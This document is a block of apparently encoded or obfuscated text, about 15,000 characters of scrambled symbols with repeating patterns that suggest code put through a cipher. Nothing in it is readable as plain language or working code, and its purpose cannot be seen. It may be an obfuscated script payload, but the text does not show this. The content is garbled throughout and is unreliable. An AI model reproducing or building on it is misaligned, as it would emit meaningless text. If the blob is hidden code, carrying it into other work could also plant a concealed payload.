\FJP^E_TUZF

DDlT[Z EDH9U\AVRP[RAARJsDDlT[Z ED\FJP^E_TUZF R@_K]JAYVFZH9XXUTVWB@s_TUZF
_K]JAYVFZUR_@V]F__
9ZUE]AP@TR^\BG
 XXUTVWB@OO_R
@lGEYP
XXUTVWB@_TUZF
UR_@VP\]GZ]FVTGTFPAPIB] O RT[
DCWVUGTGTFPAPIB]m9ZUE]AP@TR^\BGDDlT[Z ED
XXUTVWB@\@IVJK V] JH9GUXRW\BBQABE]AP@TR^\BG\@IVJK V] Jhn9ZUGUXRW\BBQAB@ZW\JA
hnGUXRW\BBQAB9N9@ZW\JA
hnDDlT[Z ED
_K]JAYVFZ9N9N9U\AVRP[VKFKBW_[R@XVJCP_KQVEXH9U\AVRP[@ZW\JA
R@YDDITTUEZ
B^E[H9ZUXVJYDDITTUEZ
B^E[OOXVJ@R]ZGZIVlGVKGlUZV_WYDDITTUEZ
B^E[H9F]@VGFQlJ_XJlXY]\hFZ^XG^TBERnh_TUZF
nhXVJn9QAVRX9N9N9N9N9TPF]@ZJDFGZ@@VGFQlJ_XJlXY]\hE]AP@TR^\BG
nh_R
@lGEYP
 n_R
@lGEYP
 FQlJ_XJlXY]\h_TUZF
nh_R
@lGEYP
 nFQlJ_XJlXY]\hDDlT[Z ED
nh_TUZF
 n	RAARJ9ZUTPF]@ZJDFGH9[l]]BYF^VK]WVUZ]VWE]AP@TR^\BG
dclp|}gv}glwza	WVUZ]VWE]AP@TR^\BG
rq`crg{E]AP@TR^\BG 	9C]A]JGTA[VQRAARJE]AP@TR^\BG
E]AP@TR^\BG
 _TUZF
_TUZF
999U\AVRP[TPF]@ZJDFGR@XVJCP_KQVEXH9ZUZ@@VGC]A]JGTA[VQhXVJnOO[l]]BYF^VK]P\]GZ]FV9UE VA
A@ZIKs_R
@lGEYP
[l]]BYF^VK]XVJUR_@V]F__ 
 9ZU_R
@lGEYP
UE VA
A@ZIK_TUZF
UE VA
A@ZIKE]AP@TR^\BG
C]A]JGTA[VQhXVJn_TUZF

UR_@VOODDlT[Z ED
UE VA
A@ZIK_R
@lGEYP
UR_@VH9F]@VGFQlJ_XJlXY]\hDDlT[Z ED

nh_TUZF
 nhXVJn999N999N9N9AVGFA]FQlJ_XJlXY]\9N99UF]PGZ\]WEGBK]YGJW ZRGKBI_]9H9ZU_TUZF
ZRGKBI_]H9AVGFA]ZRGKBI_]9N99@X]PZ@BUK
BJ_R
@lGEYP
YDA[\
D@PQVUAV99R DT@V[]BV_R
@lGEYP@X]PZ@BUK
BJcrg{z}u|luzv}r~v9IJJ[_Z_[IRAARJ9RAARJ_R
@lGEYP
E]AP@TR^\BG
 @X]PZ@BUK
BJ_TUZF
E]AP@TR^\BG
GAFV9RAARJDDlT[Z ED
_TUZF
DDlT[Z ED
 R DT@V[]BVDDlT[Z ED
E]AP@TR^\BG
GAFV99ZUZ@@VGZRGKBI_]hDDlT[Z ED
nDDlT[Z ED
ZRGKBI_]hE]AP@TR^\BG
nH9U\AVRP[ZRGKBI_]h_TUZF
nR@B
\G_QJVYF@RlZR^lPFK[U@lH9ZU_R
@lGEYP
R^lPFK[U@lOODDlT[Z ED

B
\G_QJVYF@RlZH9P\]GZ]FV9N9ZUZ@@VGZRGKBI_]hDDlT[Z ED
nhB
\G_QJVYF@RlZnh_R
@lGEYP
nOO_TUZF
ZRGKBI_]hDDlT[Z ED
nhB
\G_QJVYF@RlZnhE]AP@TR^\BG
nH9ZRGKBI_]h_TUZF
nhB
\G_QJVYF@RlZnh_R
@lGEYP
nRAARJ9N9F]QZ]W[JCVA_\T_\TU\AdcRGV@Gc\@G@99U\AVRP[IJJ[_Z_[IR@^KF_RJCYV^I EH9ZRGKBI_]h_R
@lGEYP
 nhB
\G_QJVYF@RlZnhDDlT[Z ED
nhn^KF_RJCYV^I E99N9N9N99AVGFA]ZRGKBI_]9N99UF]PGZ\]QFUT GI\IBXJTV9H9999GAJH99ZUWVUZ]VW_TUZF
OOP\]@GR]G_TUZF
mH9AVGFA]9N9ZU_TUZF
E]AP@TR^\BG
UR_@VH9AVGFA]ZD EWD]^WQR_KRKPPAElRIDAV[ZD EWD]^WQR_ 9N9Y@Q QJ_BUVP_TUZF

YDA[\
D@PQVUAV9]ZAAlPKXFWQXWVUZ]VWDDlT[Z EDdclcftz}lwza	9_ZPlCKPPE@RAARJ999]ZAAlPKXFWQXDDlT[Z ED
9]ZAAlPKXFWQXE]AP@TR^\BG
9]ZAAlPKXFWQX_R
@lGEYP
99IJJI l_

EAA99U\AVRP[_ZPlCKPPE@R@K_@IF@\]EA
WH9ZUK_@IF@\]EA
Ws_R
@lGEYPK_@IF@\]EA
WsDDlT[Z EDK_@IF@\]EA
WH9IJJI l_

EAAK_@IF@\]EA
W9QAVRX99N9N9~J`bDZ]W\DUF]PGZ\]@	@[RAWPRCRQZ_ZGJ99ZUIJJI l_

EAAH9AVGFA]9999N999BWTlI^CTC] _R
@lGEYP
 IJJI l_

EAAYVCGU\XUIA
 V^WJBYVCGU\XUIAYVCGU\XUIA	YVCGU\XUIA9@C_lRFG\_\RWlAVTZ@GVAUF]PGZ\]G_
ZlTKD  ]Y\EPF@VBWTlI^CTC] H9U\AVRP[RAARJBWTlI^CTC] G_
ZlTKD  ]Y\EPDDlT[Z ED
BWTlI^CTC] G_
ZlTKD  ]Y\EPDDlT[Z ED
R@[_VKGR@^
BH9ZUsE]AP@TR^\BG[_VKGR@^
BH9999Z]P_FWVl\]PV[_VKGR@^
B9AVGFA]9N9N9N9QF\\JE@sE]AP@TR^\BG
IJJI l_

EAA9999ZUQF\\JE@UR_@VOO_R
@lGEYP
QF\\JE@_R
@lGEYP
UR_@VH9dcq_\PXgAR]@U\A^@	@ZWVVUUVPGUAVV]\A^R_U\A^9999AVGFA]9N9QF\\JE@E]AP@TR^\BG
E]AP@TR^\BG

QF\\JE@9999QF\\JE@DDlT[Z ED

E]AP@TR^\BG
E]AP@TR^\BG

QF\\JE@9_PBZ@@_FIJER FCWFJ\^[F]I@PAR^AE\QQ\R_TUZF 
9999ZU_PBZ@@_FUR_@VH9c{c AVRW\]_JQ_\PXRGGAZQFGV@99AVGFA]9N9s_TUZF

_PBZ@@_FE]AP@TR^\BG

QF\\JE@9GAJH9sZ]P_FWV_PBZ@@_F9NUZ]R__JH9D_[][\JlFKFCVGRU_PBZ@@_F9N9~J`bpgv@	@J]P[A\]\F@\CRBFVGJCV999B _^XZFWGlGDDlT[Z EDY@Q QJ_BUVPcrg{z}u|luzv}r~v9t|qr`h_TUZF

 nY@Q QJ_BUVP9t|qr`hE]AP@TR^\BG

nB _^XZFWGlG9@PKIZ
DT_R
@lGEYP

999E]AP@TR^\BG

9999DDlT[Z ED

9DDlT[Z ED

9E]AP@TR^\BG


9N9E]AP@TR^\BG9N9N9K_ VTGBC[IJER FCWFJ\^[F]I@PAR^AE\QQ\RE]AP@TR^\BG 
9ZUK_ VTGBC[H9sDDlT[Z ED

K_ VTGBC[@PKIZ
DT9GAJH9sZ]P_FWVK_ VTGBC[9NUZ]R__JH9D_[][\JlFKFCVGRUK_ VTGBC[9N9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH99XJRP]KB[TDDlT[Z EDTDKQ[VTBBQI99999NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9Z]GVA_VREV_R]V@99N9N9ZUDDlT[Z ED

DDlT[Z EDH9UF]PGZ\]GEF@KFDB]IGl\VB@YB^_Ul[UUV_F^FIQTV\9H9ZU_TUZF
@YB^_Ul[UUV_F^H9AVGFA]@YB^_Ul[UUV_F^999N9V DDZRQCYXPRAARJE]AP@TR^\BG DDlT[Z EDE]AP@TR^\BGE]AP@TR^\BG_TUZFCYTVI]@FY TR@PRRZ[YlWCYTVI]@FY9U\AVRP[V DDZRQCYXPR@XVJH9ZUZ@@VG@YB^_Ul[UUV_F^hXVJnOODDlT[Z ED
@YB^_Ul[UUV_F^hXVJnH9P\]GZ]FV9N9K
^^RPP^^EXERAARJ9U\AVRP[@YB^_Ul[UUV_F^hXVJnR@GE^FZKYY DH9ZU_R
@lGEYP
GE^FZKYY DH9K
^^RPP^^EXEhnGE^FZKYY D9P\]GZ]FV9N9_YW]PJBlWJZ@@VGGE^FZKYY DhDDlT[Z EDnGE^FZKYY Dh_R
@lGEYPn	9B _^XZFWGlGZ@@VGt|qr`h_R
@lGEYP

nt|qr`hE]AP@TR^\BG

n	9999ZU_YW]PJBlWJFIQTV\OOB _^XZFWGlG_YW]PJBlWJB _^XZFWGlGH9P\]GZ]FV99N9K
^^RPP^^EXEhnGEF@KFDB]IGl\VBGE^FZKYY DFIQTV\9N9999@YB^_Ul[UUV_F^hXVJnK
^^RPP^^EXE9N99AVGFA]@YB^_Ul[UUV_F^9N9N9UF]PGZ\]EW__@R\ClV9H9GAJH999ZUE]AP@TR^\BG

_TUZFTVGlGAR]@ZV]G_R
@lGEYP
H9AVGFA]9N9]GEVD^CsE]AP@TR^\BGYDA[\
D@PQVUAV9ZU]GEVD^C]GEVD^C
]GEVD^C





WlQ^TGDA
Q[FBJJEYDA[\
D@PQVUAVH9QR@VC\Z]GVA99]]V^KR JB][s_TUZF
YDA[\
D@PQVUAV9ZU_R
@lGEYP
]]V^KR JB][E]AP@TR^\BG]]V^KR JB][]GEVD^CZRG
\KYQ\R AXG]]V^KR JB][H9ZU_Bl[
X^GYCY^P YDA[\
D@PQVUAVZ
GB\BC_AR]]V^KR JB][H9U\AV@G@GAFPGFAV99E[VEEQGFXUA\[^PYDA[\
D@PQVUAV9PZZUJW[@
ClCFYDA[\
D@PQVUAV9N9N9999F]@VG]]V^KR JB][999N9I QV_Yl^A_ s_TUZFYDA[\
D@PQVUAVUl_  [RFK
KVJXlG V@DUl_  [RF 9999YA^KPEUlClXWCI QV_Yl^A_ I QV_Yl^A_ KKU 9999ZUYA^KPEUlClXWCI QV_Yl^A_   H9YA^KPEUlClXWCUR_@V9N9ZUYA^KPEUlClXWCH9]AKJEP\Z[ZTJsE]AP@TR^\BGYDA[\
D@PQVUAV9ZUE]AP@TR^\BG
]AKJEP\Z[ZTJ_TUZF]AKJEP\Z[ZTJ]AKJEP\Z[ZTJQYDlT@]@EWXY@ZT[YT\FY]AKJEP\Z[ZTJ9ZUDDlT[Z ED
]AKJEP\Z[ZTJOOZRG
\KYQ\R AXG]AKJEP\Z[ZTJH9YA^KPEUlClXWCUR_@V9NV_@VH9ZTPG[Ul_XAARZWW
ZYXT_\DQ_R
@lGEYP9@G@ICQlTF[UDGQ^[Gl[_]AKJEP\Z[ZTJ9]BYY\lC Q[UDGQ^[Gl[__R
@lGEYPZTPG[Ul_XAAZTPG[Ul_XAA	9ZU@G@ICQlTF]BYY\lC QOOEVA@Z\]lP\^CRAV]BYY\lC Q@G@ICQlTFH9BU@K X^K]FQDDlT[Z ED]AKJEP\Z[ZTJ999JlET_
@PTDTPsDDlT[Z ED_TUZF
 YDA[\
D@PQVUAV_R
@lGEYPBU@K X^K]FQ9ZUJlET_
@PTDTPHXQ\@UCJc{cl~ry|aleva`z|}PZYWGB 
XQ\@UCJ99E\PIQD[[l]VCWTVGl\CGZ\]_TUZF 9ZUDDlT[Z EDE\PIQD[[l]VCWDDlT[Z EDE\PIQD[[l]VCWBU@K X^K]FQODDlT[Z EDZ]G_R
@lGEYPE\PIQD[[l]VCWDDlT[Z EDE\PIQD[[l]VCWO   JlET_
@PTDTPGAFV9N9ZUJlET_
@PTDTPYA^KPEUlClXWCUR_@V999ZUJlET_
@PTDTP_TUZFZTPG[Ul_XAAZTPG[Ul_XAAOO]BYY\lC QOOEVA@Z\]lP\^CRAV]BYY\lC Q@G@ICQlTFX[RZVlID
UT\BTZXYDV_R
@lGEYP]AKJEP\Z[ZTJDDlT[Z ED9F]@VGBU@K X^K]FQJlET_
@PTDTPE\PIQD[[l]VCW9NV_@VZU_R
@lGEYPZTPG[Ul_XAAE]AP@TR^\BG
ZTPG[Ul_XAA
 _TUZF
ZTPG[Ul_XAA

  P\F\X^VJ CEZTPG[Ul_XAAZRG
\KYQ\R AXGZTPG[Ul_XAA_R
@lGEYP]AKJEP\Z[ZTJDDlT[Z EDZTPG[Ul_XAAH9YA^KPEUlClXWCUR_@V999N9N9N9ZUYA^KPEUlClXWCH9ZU_TUZF

DDlT[Z EDH9@VGlGAR]@ZV]GDDlT[Z ED
  9N9AVGFA]999N9P\]EVKRPPF^F_RG\A99999ZUWlQ^TGDA
Q[FBJJEYDA[\
D@PQVUAVH9AVGFA]9N9@V_URWY\Z]GGAF@GR]P[\A99R\ FKAJl@_TUZF
 YDA[\
D@PQVUAV999ZUsE]AP@TR^\BG
R\ FKAJl@H9BRFY @QI@lG^R\ FKAJl@
 GAFV9N9B\_GQATPIIYRZWW
ZYXT_\DQE]AP@TR^\BG9ZUB\_GQATPIIYOOE]AP@TR^\BGB\_GQATPIIYH9ZUTVGlGAR]@ZV]G_R
@lGEYP H9XJRP]KB[T_TUZF_TUZF9@VGlGAR]@ZV]G_R
@lGEYPKQ KPW999N9N9ZUB\_GQATPIIY_TUZFB\_GQATPIIYDDlT[Z ED
B\_GQATPIIYDDlT[Z EDB\_GQATPIIY

P\F\X^VJ CEB\_GQATPIIYZRG
\KYQ\R AXGB\_GQATPIIYH9d\AWcAV@@Q_\PXQZ]WZ]T@R@CVPGARGZ\99[F]ZQJUJlBWBBU[UDGQ^[Gl[_B\_GQATPIIY9ZU[F]ZQJUJlBWBBUEVA@Z\]lP\^CRAV[F]ZQJUJlBWBBUB
C\ZlAP^PVX_\G_^ZH9AVGFA]9N999UlFKJVUGJGE]AP@TR^\BGYDA[\
D@PQVUAVE]AP@TR^\BG
_TUZF

YDA[\
D@PQVUAVE]AP@TR^\BG
9FW_E]U BIs_TUZFUlFKJVUGJGE]AP@TR^\BG@GAZ]Ts_R
@lGEYP
UlFKJVUGJG	9ZUFW_E]U BIE]AP@TR^\BGB\_GQATPIIYFW_E]U BIH999AVGFA]9N9999QD^BPU^^^C \VYDA[\
D@PQVUAV 9_D]TK@VUAA_Bl[
X^GYCY^P YDA[\
D@PQVUAVZ
GB\BC_ARB\_GQATPIIY9ZU_D]TK@VUAAH9E[VEEQGFXUA\[^PYDA[\
D@PQVUAV9QD^BPU^^^C \VYDA[\
D@PQVUAV
9PZZUJW[@
ClCFYDA[\
D@PQVUAV99IU]_R^BXF_[ \U RGAFV9\JVVD lKFAYl
GAFV9B[B_Y[KCBlWRYDA[\
D@PQVUAV9ZU_TUZF _TUZFH99@VGlGAR]@ZV]G_TUZF
  
9N9NV_@VZU_R
@lGEYP _TUZF H9@VGlGAR]@ZV]G_TUZF  9N9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_R
@lGEYPTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH99N9N9999UF]PGZ\]]FYQAT
T]EJ
T9H999GBEBVB\ GCB]^^ IPE]AP@TR^\BG DDlT[Z ED 9GBEBVB\ GCB]^^ IP_R
@lGEYP _R
@lGEYP 9ZUDDlT[Z ED E]AP@TR^\BG 
H9AV^\EVlRPGZ\]_TUZF_TUZF9AV^\EVlRPGZ\]E]AP@TR^\BGE]AP@TR^\BG  9AV^\EVlRPGZ\]E]AP@TR^\BGE]AP@TR^\BG
9N9N9UF]PGZ\]UPXKV]QYDE] 
I[@9H9GAJH9dcq_\PXp\]GA\_@	Q\F]WVWR__\PRG\A99DCWQt|qr`h_TUZFn9R RPlBRDCWQCAVUZKE]AP@TR^\BG9E_]EFCQ`_TUZFDCWQF@VA@DDlT[Z ED
DCWQF@VA^VGRE]AP@TR^\BG9999AVGFA]DCWQTVGlAV@F_G@DCWQCAVCRAVE_]EFCQR RPlBR_TUZF9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TE]AP@TR^\BGTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N99AVGFA]RAARJ9N9UF]PGZ\]llRK VB@KG^l]
QI\AWIDJPGUD9H9WVU_RGZ\]RAJ^V@@RTVBFVFV99B[CGWEB UB@RAARJ9]CR
ZQTYWR\UF]PGZ\]EGIBCQ_E CEFRWH9EGIBCQ_E CEFRWh_TUZFn9AVGFA]EGIBCQ_E CEFRW9N9GAJH9ZUE]AP@TR^\BG E]AP@TR^\BGOO_TUZF
_R
@lGEYPH9AVGFA]B[CGWEB UB@9N9ZU_R
@lGEYP
\AWIDJPGUDOOV^CGJ\AWIDJPGUDH9AVGFA]B[CGWEB UB@9N9\CCQPK\BJQ[@_TUZFKRK9Z@l@@__TUZF _TUZFZ@l@@_9CZ[l\WZRRFQZ@l@@__TUZF	_R
@lGEYP9JW^CTTWWF@Z@l@@_WVUZ]VW_TUZF`vpfavlrfg{lp||xzv		WVUZ]VW_TUZF
rfg{lp||xzv	9V]^PAJJZX
P]WVUZ]VWE]AP@TR^\BG|ttvwlz}lp||xzv	9ZUJW^CTTWWF@OOV]^PAJJZX
P]H9AVGFA]B[CGWEB UB@Z KQUAPZF I[GRJGIDZ KQUAPZF9N9]ZFACP[DZWY
WVUZ]VW_TUZFp||xzvlw|~rz}DDlT[Z EDp||xzvlw|~rz}	WB^C^J\YDZ]P
9TAT DlIG
 WVUZ]VW_R
@lGEYP p||xzvcrg{	9RY E[AW^lWVUZ]VWDDlT[Z EDrw~z}lp||xzvlcrg{	_R
@lGEYP9ETAFGTElJZ@l@@_E]AP@TR^\BG	_TUZF9^WZFYV XKY]ZoG9GBEBVB\ GCB]^^ IP_TUZF]CR
ZQTYWR\9J
llZFUX^^DU\CFGG
lTZIDCXIWD_R
@lGEYP
9EVCU[JQlI_R
@lGEYP DDlT[Z ED sTVGl\CGZ\]J
llZFUX^^DRAARJ	RAARJ9ZUDDlT[Z ED
EVCU[JQlIEVCU[JQlIRAARJ9FCA
JAlEEUR_@V9]CKPFE ICE
K9U\AVRP[\AWIDJPGUDR@K[l QK@H9ZUDDlT[Z ED
 K[l QK@OOK[l QK@zwOOK[l QK@F@VAl_\TZ]H9P\]GZ]FV9N9ZU]CKPFE ICE
KmH9QAVRX9N9AV_VR@VCAZ]PZCR_99[Y@TEPK@GAZ]TK[l QK@F@VAl_\TZ]9999ZUZ@@VGEVCU[JQlIh[Y@TEPKnZ]GEVCU[JQlIh[Y@TEPKnDDlT[Z ED HCYY\YGIQQIXFRB][W@IlCYY\YGIQQIXFRB9P\]GZ]FV9N9DClPRP[VlWV_VGVK[l QK@zw_TUZF9[XU[EFFRTX[TVGlF@VAl^VGRK[l QK@zw_TUZFGAFV9ZU_TUZF
[XU[EFFRTX[_TUZF
[XU[EFFRTX[
H9FZ
EG@BPlY^RAARJ9999U\AVRP[[XU[EFFRTX[R@IJ\D]X
IY
 AFXIIH9ZUZ@@VGIY
 AFXIIh_TUZFnIY
 AFXIIh_TUZFnDDlT[Z EDH9FZ
EG@BPlY^hIJ\D]X
nIY
 AFXII9N9N9ZUDDlT[Z ED FZ
EG@BPlY^DDlT[Z ED [XU[EFFRTX[H9FCWRGVlF@VAl^VGRK[l QK@zwDDlT[Z EDFZ
EG@BPlY^9N999N9DClPRP[VlWV_VGVK[l QK@zwDDlT[Z ED99ID EQG^J_TUZF RAARJ_TUZFE]AP@TR^\BGK[l QK@zw9CKUZBlEA\ID EQG^JPAVRGV\CCQPK\BJQ[@9ACCZFI@
GRAARJ9ACCZFI@
Ghn]ZFACP[DZWY
^WZFYV XKY]Z_TUZF^WZFYV XKY]ZTAT DlIG
 ^WZFYV XKY]ZETAFGTElJ^WZFYV XKY]Z\CCQPK\BJQ[@^WZFYV XKY]ZV]^PAJJZX
P]^WZFYV XKY]ZDDlT[Z EDK[l QK@zw\CCQPK\BJQ[@E]AP@TR^\BGCKUZBlEA\9ZUJW^CTTWWF@H9ACCZFI@
Ghn]ZFACP[DZWY
^WZFYV XKY]ZE]AP@TR^\BG^WZFYV XKY]ZRY E[AW^l^WZFYV XKY]ZETAFGTElJ^WZFYV XKY]Z\CCQPK\BJQ[@^WZFYV XKY]ZJW^CTTWWF@^WZFYV XKY]Z_TUZFK[l QK@zw\CCQPK\BJQ[@CZ[l\WZRRFQCKUZBlEA\9N9aVWZ@\QYVPGPRP[V	@F@CV]W^V@@RTVBFVFV99B[CGWEB UB@hK[l QK@F@VAl_\TZ]nACCZFI@
G9999EVCU[JQlIh[Y@TEPKn\CCQPK\BJQ[@9FCA
JAlEEGAFV9]CKPFE ICE
K9N9ZUFCA
JAlEE_TUZF
E]AP@TR^\BG
H9sFCWRGVl\CGZ\]J
llZFUX^^DEVCU[JQlIE]AP@TR^\BG9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TDDlT[Z EDTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9P\A]VAPR@V[R]W_VA999AV^\EVlUZ_GVA_TUZF]CR
ZQTYWR\9AVGFA]B[CGWEB UB@9N9UF]PGZ\]J
A[VUJZJlFYVTKVVl[[TADZJW9H9RG\^ZPZ]GVAPVCG\A99ZU_R
@lGEYPTKVVl[[TADZJWAVGFA]TKVVl[[TADZJW999ZUDDlT[Z ED
TKVVl[[TADZJWZ@@VGTKVVl[[TADZJWhCn_R
@lGEYP TKVVl[[TADZJWhCnAVGFA]TKVVl[[TADZJWhCn9AVGFA]9N9UF]PGZ\]AlRY^G[_^\AWIDJPGUD9H9_Z@GRAARJ9PP@WYWA@GAZ]TRZWW
ZYXT_\DQ_R
@lGEYP9RA_APGKCUWWW@GAZ]TRZWW
ZYXT_\DQE]AP@TR^\BG9ZUPP@WYWARA_APGKCUWWWH\XBAYVXFZCc{clz}gl~rkc{clz}gl~rkFZBKDXBT^\XBAYVXFZC9_Z@GhPP@WYWAnRA_APGKCUWWW9N9999XE_PIKFB\_Y[[ERZWW
ZYXT_\DQDDlT[Z EDRAARJ9ZU_TUZFXE_PIKFB\_Y[[EH9P\__VPGZWV^C\GV]G]VT\GZRG\A9]JFCFAO
YUP]DEQPKIXE]JFCFAm9U\AVRP[XE_PIKFB\_Y[[ER@YT
WIQCFJX 
[IlU[_TH9999^XUQlGD[XBGJ
A[VUJZJlFYVFJX 
[IlU[_T999ZU^XUQlGD[XBG_Z@Gh@GAZ]TYT
WIQCn^XUQlGD[XBG9N9_ZGG_VV]WZR]U\A^RG99N9AVGFA]_Z@G9N9UF]PGZ\]A[W[^C\^_IZYT
WIQCYUPWGW\\I@CIY
[\EKK\JV\9H999GAJH9ZU_TUZF
 YT
WIQCOO_TUZFYT
WIQC_R
@lGEYPH999AVGFA]YT
WIQC9N9ZUYT
WIQC[R@lPRC_TUZFH9AVGFA]YT
WIQC9N9ZU_TUZF
IY
[\EKK\JV\OOIY
[\EKK\JV\H9AVGFA]YT
WIQC9N9XE_PIKFB\_Y[[ERZWW
ZYXT_\DQ_TUZFRAARJ9ZUDDlT[Z EDXE_PIKFB\_Y[[EH9999XE_PIKFB\_Y[[ERAARJAIIZ Y^@XRU]T]]JAIIZ9999N9U\AVRP[XE_PIKFB\_Y[[ER@FQlPFRB_AT_^C[H9\UF[RF [WYUQWEE]AP@TR^\BGT_^C[Z@@VGT_^C[hE]AP@TR^\BG
nZ]GT_^C[hDDlT[Z ED
n	9ZU\UF[RF [WYUQWE\UF[RF [WYUQWE_R
@lGEYPK PKWUV
F]@VGXE_PIKFB\_Y[[EhFQlPFRB_An9N9XE_PIKFB\_Y[[EhYT
WIQCF@VAl_\TZ]nRAARJCIY
[\EKK\JV\_R
@lGEYP
_TUZF_TUZF
9X[RZVlID
UT\BTZXYDVDDlT[Z EDXE_PIKFB\_Y[[E_TUZF
9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_TUZF
 TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9]VTRGZEVWVUZ]ZGVU_JDVZT[G99N9AVGFA]YT
WIQC9N9UF]PGZ\]]YIlWWDAD\[U_TTJYBYPT
^
YT
WIQC9H9GAJH9999ZUE]AP@TR^\BG
TTJYBYPT
^
OOTTJYBYPT
^
AVGFA]999XE_PIKFB\_Y[[ERZWW
ZYXT_\DQE]AP@TR^\BG
RAARJ9ZUE]AP@TR^\BGXE_PIKFB\_Y[[EOOZ@@VGXE_PIKFB\_Y[[EhTTJYBYPT
^
nAVGFA]9TDKQ[VTBBQIXE_PIKFB\_Y[[EhTTJYBYPT
^
n999ZUDDlT[Z EDTDKQ[VTBBQIV^CGJTDKQ[VTBBQIh_R
@lGEYP
nH9999XE_PIKFB\_Y[[EhTTJYBYPT
^
nhDDlT[Z ED
n9X[RZVlID
UT\BTZXYDVE]AP@TR^\BG
XE_PIKFB\_Y[[EE]AP@TR^\BG
9N9NPRGP[g[A\DRQ_VB]QEATG\KWH9WZ@PAZ^Z]RGZEVAZ]TQFUUVA99XJRP]KB[TE]AP@TR^\BG
B]QEATG\KW9NPRGP[vKPVCGZ\]B]QEATG\KWH999N9N9999UF]PGZ\]T[PB FCRB@JEGDQIGU\AWIDJPGUD9H9ZU_R
@lGEYP\AWIDJPGUDH9AVGFA]UR_@V9N9999^QFZIBR
\WTTBQI__FE[D@C@\C 9U\AVRP[\AWIDJPGUDR@K[l QK@H999U\AVRP[^QFZIBR
\WTTBR@_XPQ QBlH9ZUDDlT[Z EDDDlT[Z ED
_R
@lGEYP
 _XPQ QBlE]AP@TR^\BG

K[l QK@F@VAl_\TZ]H9AVGFA]K[l QK@9N9N9CA\UZ_V_Z]VRAGJCVU\Ap\^C\@VARFG\_\RW99N9999AVGFA]UR_@V99N9UF]PGZ\]BQ
D\KCTWT^C^KB\K[UJDID]J@BPWYRWG T  9H9AVGFA]DDlT[Z EDE]AP@TR^\BGK[UJDID]J@BPWYRWG T  9N9UF]PGZ\]TWEB]\K_DQQ[ZWlPl[RRRQ]_9H999ZUDDlT[Z EDRRRQ]_OORRRQ]_OOWVUZ]VW_TUZF
AVGFA]UR_@V999@GRGZPYJAYTDJ[l]F__9ZUYJAYTDJ[l]F__H99YJAYTDJ[lRAARJ9BQ
D\KCTWT^C^KB\rq`crg{DDlT[Z ED_TUZF
9BQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BGE]AP@TR^\BG
9999N99U\AVRP[YJAYTDJ[lR@J[UBBElREH9ZU_TUZFRRRQ]_J[UBBElREUR_@VAVGFA]GAFV9999N9AVGFA]UR_@V9999N999UF]PGZ\]TQIP_ U^[RIRWYRWG T  9H9999AVGFA]BQ
D\KCTWT^C^KB\F]ZBZW@GAZ]T_TUZF GAFVWYRWG T  9N9UF]PGZ\]IVGX
ZYJ@UCQ\^B W]U[IXWQCAQQ999H9ZUE]AP@TR^\BG
E]AP@TR^\BG AVGFA]UR_@V9KRGXDQAKA^^TVGl\CGZ\]DDlT[Z ED RAARJ9ZUDDlT[Z EDKRGXDQAKA^^AVGFA]UR_@V9999\@Z@EPKFUF@^DDlT[Z ED]U[IXWQCAQQ999ZUV^CGJKRGXDQAKA^^h\@Z@EPKFUF@^nAVGFA]UR_@V999^XUQlGD[XBG_TUZFO@GAZ]TKRGXDQAKA^^h\@Z@EPKFUF@^n9\F_I]RW\YZ@@VG^XUQlGD[XBGhnZ]G^XUQlGD[XBGhn	9AVGFA]\F_I]RW\YDDlT[Z ED\F_I]RW\Y  999N9UF]PGZ\][UC@PWZ^l^XT
FYX]]U[IXWQCAQQ@P^IJP@
^@D9H9ZUE]AP@TR^\BG
_R
@lGEYP OOE]AP@TR^\BG
DDlT[Z ED
AVGFA]9KRGXDQAKA^^TVGl\CGZ\]E]AP@TR^\BG RAARJ9ZU_TUZFKRGXDQAKA^^KRGXDQAKA^^RAARJ999\@Z@EPKFUF@^E]AP@TR^\BG]U[IXWQCAQQ9ZU@P^IJP@
^@DH9P\]U\A^R_VBFZER_V]PVP_R@@99ZUZ@@VGKRGXDQAKA^^h\@Z@EPKFUF@^nHD]CJ

K[QIXl Y
JED]CJ
D]CJ
	D]CJ
9F]@VGKRGXDQAKA^^h\@Z@EPKFUF@^n9FCWRGVl\CGZ\]DDlT[Z ED KRGXDQAKA^^V]]Rl^PKRKQX
GDBBFCA
^[V]]Rl^P 9N9AVGFA]9N9VVZRG^JUEQ[VG9ZUV^CGJKRGXDQAKA^^h\@Z@EPKFUF@^nHP@@[DXK Vc{cl~ry|aleva`z|}D\B_X GEP@@[DXK V9^XUQlGD[XBG_TUZFO@GAZ]TKRGXDQAKA^^h\@Z@EPKFUF@^n9VVZRG^JUEQ[VGZ]G^XUQlGD[XBGhn9N9VVZRG^JUEQ[VG9\F_I]RW\YVVZRG^JUEQ[VGm_R
@lGEYP	9U\AVRP[KRGXDQAKA^^R@DI X^_ZXC^ _EWJ^IYKH^\EIIXRPUGRI]P_@^\EIIX 9RRRQ]_DDlT[Z EDO@GAZ]T_EWJ^IYK9ZUV^CGJRRRQ]_hnDDlT[Z EDZ]GRRRQ]_hn
F]@VGKRGXDQAKA^^hDI X^_ZXC^ n9N9999KRGXDQAKA^^h\@Z@EPKFUF@^nVVZRG^JUEQ[VGO\F_I]RW\Y9FCWRGVl\CGZ\]E]AP@TR^\BGKRGXDQAKA^^9N999UF]PGZ\]V[_^ZIRPY^@]U[IXWQCAQQYECU_RGWR9H99ZU_TUZFYECU_RGWRAVGFA]9RZ\GUFC^IJER FCWFJ\^DDlT[Z ED]U[IXWQCAQQE]AP@TR^\BG9ZURZ\GUFC^UR_@VH9ZUs_R
@lGEYPRZ\GUFC^YECU_RGWR_R
@lGEYP
YECU_RGWR_R]IA^^ITD] WVRZ\GUFC^]U[IXWQCAQQAVGFA]9D_[][\JlFKFCVGRURZ\GUFC^999N9s_TUZF]U[IXWQCAQQYECU_RGWR9N9UF]PGZ\]_Bl[
